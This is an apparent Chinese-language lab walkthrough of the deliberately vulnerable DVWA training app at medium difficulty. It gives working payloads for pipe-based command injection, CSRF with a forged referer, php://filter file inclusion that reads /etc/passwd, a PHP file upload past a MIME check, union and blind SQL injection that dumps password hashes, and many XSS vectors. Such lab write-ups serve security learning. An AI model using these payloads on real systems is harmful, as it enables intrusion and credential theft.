DVWA(medium)
爆破
bp抓包爆破
爆出来密码是123456
命令注入(RCE)
这个漏洞在输入命令的时候会执行命令,没有过滤用户的输入
我们使用管道连接符 | 连接使得连接的IP作为一个结果输入到后面的命令
bash
192.168.30.160 | ls -la
打开抓包
send to repeater 修改此处重复提交
发现这些资源,先看看index.php内容
bash
192.168.30.160 | cat < index.php
查看自己是谁
bash
192.168.30.160 | whoami
查看source的内容,注意不要加上根目录 / ,路径要正确 192.168.30.160 | ls -la source

CSRF
伪造身份修改对方密码的漏洞,只要对方点击我们生成的链接,自身的密码就被修改

抓包
生成csrf poc

修改我们要修改的数值后复制

粘贴到新建的文本,并设后缀名为HTML
放到本地网站根目录

bash
localhost/csrf/csrf.html

可以发现,访问本地所设的网站时修改密码没有成功,这是同源策略发力了
右键检查,拿取referer

arduino
http://192.168.30.160/DVWA/vulnerabilities/csrf/
刷新没有修改成功的网页,抓包

换上正确的referer

发现提示修改成功

去测试一下
输入
admin
123456789

注意
修改成功的密码,即为登陆所要用到的
文件包含
发现网址
ruby
http://192.168.30.160/DVWA/vulnerabilities/fi/?page=include.php
那么就可以尝试
ruby
http://192.168.30.160/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=include.php
回车之前抓包
send to repeater

base64解码

php
<?php
// Check if the right PHP functions are enabled
$WarningHtml = '';
if( !ini_get( 'allow_url_include' ) ) {
$WarningHtml .= "<div class=\"warning\">The PHP function <em>allow_url_include</em> is not enabled.</div>";
}
if( !ini_get( 'allow_url_fopen' ) ) {
$WarningHtml .= "<div class=\"warning\">The PHP function <em>allow_url_fopen</em> is not enabled.</div>";
}
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: File Inclusion</h1>
{$WarningHtml}
<div class=\"vulnerable_code_area\">
[<em><a href=\"?page=file1.php\">file1.php</a></em>] - [<em><a href=\"?page=file2.php\">file2.php</a></em>] - [<em><a href=\"?page=file3.php\">file3.php</a></em>]
</div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "</li>
</ul>
</div>\n";
?>
重复修改网址,达到读取特定文件数据的结果

less
<?php
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: File Inclusion</h1>
<div class=\"vulnerable_code_area\">
<h3>File 1</h3>
<hr />
Hello <em>" . dvwaCurrentUser() . "</em><br />
Your IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br />
[<em><a href=\"?page=include.php\">back</a></em>]
</div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "</li>
</ul>
</div>\n";?>
file2.php
less
<?php
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Vulnerability: File Inclusion</h1>
<div class=\"vulnerable_code_area\">
<h3>File 2</h3>
<hr />
\"<em>I needed a password eight characters long so I picked Snow White and the Seven Dwarves.</em>\" ~ Nick Helm<br /><br />
[<em><a href=\"?page=include.php\">back</a></em>] </div>
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion', 'Wikipedia - File inclusion vulnerability' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion', 'WSTG - Local File Inclusion' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion', 'WSTG - Remote File Inclusion' ) . "</li>
</ul>
</div>\n";?>

ruby
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
文件上传
发现可以选择php文件,那么选中之后,抓包再提交
将文件类型修改为image/png

发现成功了

放包去查看一下
arduino
http://192.168.30.160/DVWA/hackable/uploads/info.php
前面的../../代表向前两级,所以不能直接在当前url加上hackable及后面的路径,对于这个错误,我还是得练啊

SQL注入
中级采用的是数字型注入
先试试简单的
1.漏洞探测
ini
1 or 1=1

xml
<pre>ID: 1 or 1=1<br /> First name: admin<br /> Surname: admin</pre>
<pre>ID: 1 or 1=1<br />First name: Gordon<br />Surname: Brown</pre>
<pre>ID: 1 or 1=1<br />First name: Hack<br />Surname: Me</pre>
<pre>ID: 1 or 1=1<br />First name: Pablo<br />Surname: Picasso</pre>
<pre>ID: 1 or 1=1<br />First name: Bob<br />Surname: Smith</pre>
判断回显
sql
1 UNION SELECT 1 #不对的话,继续加数字

有回显,有两个注入点
再试试

发现只有两个注入点,开始注入
2.查找数据库
scss
1 UNION SELECT 1,DATABASE()

排除掉干扰项
scss
-1 UNION SELECT 1,DATABASE()

这下可以安心注入,数据库名为dvwa
由于这些是数字注入,获取表的命令有些不同
sql
-1 UNION SELECT table_name,2 from information_schema.tables where table_schema=database()


但当只有一个回显点时
3.查找表
scss
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())
4.查找列
sql
-1 UNION SELECT 2,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name=0x7573657273) #hex编码
现在网上的编码工具只编出数字,编完之后在前面加上 0x,这个代表此为16进制hex
7573657273=users,而不是'users',但是当直接输入users时会失败

编码工具在棱角社区
5.获取用户名及密码
错误示范
得出
sql
-1 UNION SELECT 2,(SELECT CONCAT(user,password) FROM users limit 0,1)
单独的concat才需要限制,直接使用group_concat()
sql
-1 UNION SELECT 2,(SELECT GROUP_CONCAT(user,password) FROM users)

admin25f9e794323b453885f5181f1b624d0b,25f9e74323b453885f5181f1b624d0be
gordonbe99a18c428cb38d5f260853678922e03,
13378d3533d75ae2c3966d7e0d4fcc69216b,
pablo0d107d09f5bbe40cade3de5c71e9e9b7,
smithy5f4dcc3b5aa765d61d8327deb882cf99
这种根本不行,无法知道用户名,靠猜哪行
正确示范
分步获取数据
先看用户名
sql
-1 UNION SELECT 2,(SELECT GROUP_CONCAT(user) FROM users)
admin,gordonb,1337,pablo,smithy

再看密码
sql
-1 UNION SELECT 2,(SELECT GROUP_CONCAT(password) FROM users)

25f9e794323b453885f5181f1b624d0b,
e99a18c428cb38d5f260853678922e03,
8d3533d75ae2c3966d7e0d4fcc69216b,
0d107d09f5bbe40cade3de5c71e9e9b7,
5f4dcc3b5aa765d61d8327deb882cf99
可能是md5,
解码
123456789,
abc123,
charley,
letmein,
password

于是
id | user | password |
---|---|---|
1 | admin | 123456789 |
2 | gordonb | abc123 |
3 | 1337 | charley |
4 | pablo | letmein |
5 | smithy | password |
SQL盲注
1.确定是否有布尔盲注
ini
1 OR 1=1 #正常显示
1 OR 1=2 #到这没有显示则表明有
2.查看数据库名长度
less
1 AND (SELECT LENGTH(database()))=4
工具:bp

a-z的hex编码文本
首先我们要全选变量及变量之间的字符
爆破设置
1.Custom iterator

2.分别在position1和2选择爆破表,可以自己添加
position1: 12345

position2: a-z_hex.txt

再选择position1
Separator for position 1那里选择爆破位置之间的字符


开始爆破
优先看回复长度Length

再看5141的回复

可以确定长度较小的就是我们想要的内容了

0x是前缀,防止编码进制混淆的,可以忽略,那么只需将编码转换成字母就可以
bash
4456576164767741 #空字符可以忽略

再根据位置关系
css
1-d/D
2-v/V
3-w/W
4-a/A
得出数据库名,有多种可能,一般都是小写
3.查看表名
同样的方式
sql
1+AND+(SELECT+SUBSTRING((SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema=database()+limit+0,1),1,1))=0x75


42454547525353535455556265656772737373747575

BEEGRSSSTUUbeegrssstuu
1-u/U
2-s/S
913 | 13,1))=0x74 | 200 | 126 | false | false | 5134 | |
---|---|---|---|---|---|---|---|
921 | 1,1))=0x75 | 200 | 131 | false | false | 5134 | |
16 | 16,1))=0x41 | 200 | 137 | false | false | 5135 | |
67 | 7,1))=0x44 | 200 | 165 | false | false | 5135 | |
83 | 3,1))=0x45 | 200 | 162 | false | false | 5135 | |
98 | 18,1))=0x45 | 200 | 156 | false | false | 5135 | |
109 | 9,1))=0x46 | 200 | 135 | false | false | 5135 | |
166 | 6,1))=0x49 | 200 | 136 | false | false | 5135 | |
170 | 10,1))=0x49 | 200 | 124 | false | false | 5135 | |
240 | 20,1))=0x4C | 200 | 134 | false | false | 5135 | |
257 | 17,1))=0x4D | 200 | 124 | false | false | 5135 | |
275 | 15,1))=0x4E | 200 | 126 | false | false | 5135 | |
344 | 4,1))=0x52 | 200 | 112 | false | false | 5135 | |
351 | 11,1))=0x52 | 200 | 115 | false | false | 5135 | |
362 | 2,1))=0x53 | 200 | 105 | false | false | 5135 | |
372 | 12,1))=0x53 | 200 | 123 | false | false | 5135 | |
393 | 13,1))=0x54 | 200 | 152 | false | false | 5135 | |
401 | 1,1))=0x55 | 200 | 136 | false | false | 5135 | |
536 | 16,1))=0x61 | 200 | 109 | false | false | 5135 | |
587 | 7,1))=0x64 | 200 | 125 | false | false | 5135 | |
603 | 3,1))=0x65 | 200 | 118 | false | false | 5135 | |
618 | 18,1))=0x65 | 200 | 117 | false | false | 5135 | |
629 | 9,1))=0x66 | 200 | 120 | false | false | 5135 | |
686 | 6,1))=0x69 | 200 | 110 | false | false | 5135 | |
690 | 10,1))=0x69 | 200 | 107 | false | false | 5135 | |
760 | 20,1))=0x6C | 200 | 131 | false | false | 5135 | |
777 | 17,1))=0x6D | 200 | 115 | false | false | 5135 | |
795 | 15,1))=0x6E | 200 | 119 | false | false | 5135 | |
864 | 4,1))=0x72 | 200 | 116 | false | false | 5135 | |
871 | 11,1))=0x72 | 200 | 115 | false | false | 5135 | |
882 | 2,1))=0x73 | 200 | 107 | false | false | 5135 | |
892 | 12,1))=0x73 | 200 | 128 | false | false | 5135 |
替换 ,1))= 为 -
复制表格,ctrl+n,创建


复制替换好的表格
交给AI,进入临时对话
让它将第二列的数据单独提出来,并对其进行hex解码
再给AI说明编码前缀为排列顺序,按顺序将其排好
实际情况数据太多可以分批次

一般position 1 有50个就可以了

这是AI提取好的数据
css
u s e r _ i d f i r s t _ n a m e l a s t _ n a m e u s e r p a s s w o r d
可以推断列名为
sql
user_id first_name last_name user password
4.查看用户与密码
同样的方法
user_id=1 的用户名
sql
1 AND (SELECT SUBSTRING((SELECT GROUP_CONCAT(user) FROM users WHERE user_id=1),1,1))=0x75
css
a d m i n

依此类推
yaml
admin gordonb 1337 pablo smithy
获取admin的密码
sql
1 AND (SELECT SUBSTRING((SELECT GROUP_CONCAT(password) FROM users WHERE user=0x61646d696e),1,1))=0x75 #admin

25f9e74323b453885f5181f1b624d0be
MD5解密

其他的用户就不演示了
XSS
dom型
URL地址后面的变量
markdown
?default=#<script>alert(1)</script>

回车的时候
后面点击select依旧会弹出来,这就是DOM型的威力
大小写混用
xml
#<ScRiPt>alert(1)</ScRiPt>
反射性

使用audio标签
ini
<audio src=x onerror=alert(32)>

ini
<audio src=x onerror=prompt(1);>
xml
<audio src=1 href=1 onerror=javascript:alert(11)></audio>
video标签
ini
<video src=x onerror=prompt(1);>
ini
<video src=x onerror=alert(4)>
button标签
ini
<button onfocus=alert(1) autofocus>
bash
<button/onclick=alert(1)>1</button>

svg标签
ini
<svg onload=alert(1)>
img标签
ini
<img src=x onerror=alert(1)>
ini
<img src=x onerror=alert`1`>
body标签
ini
<body onload=alert(1)>
存储型
img标签可以过
ini
<img src=x onerror=alert("XSS")>
越权
只需要访问到特定目录就可以了
登录普通账户,发现通道都没有
试试扫描
arduino
http://192.168.30.160/DVWA/vulnerabilities/authbypass/
发现目录

访问
arduino
http://192.168.30.160/DVWA/vulnerabilities/authbypass/help/

访问
arduino
http://192.168.30.160/DVWA/vulnerabilities/authbypass/get_user_data.php

越权成功
总结
来骂我两句吧,孤军奋战好难受啊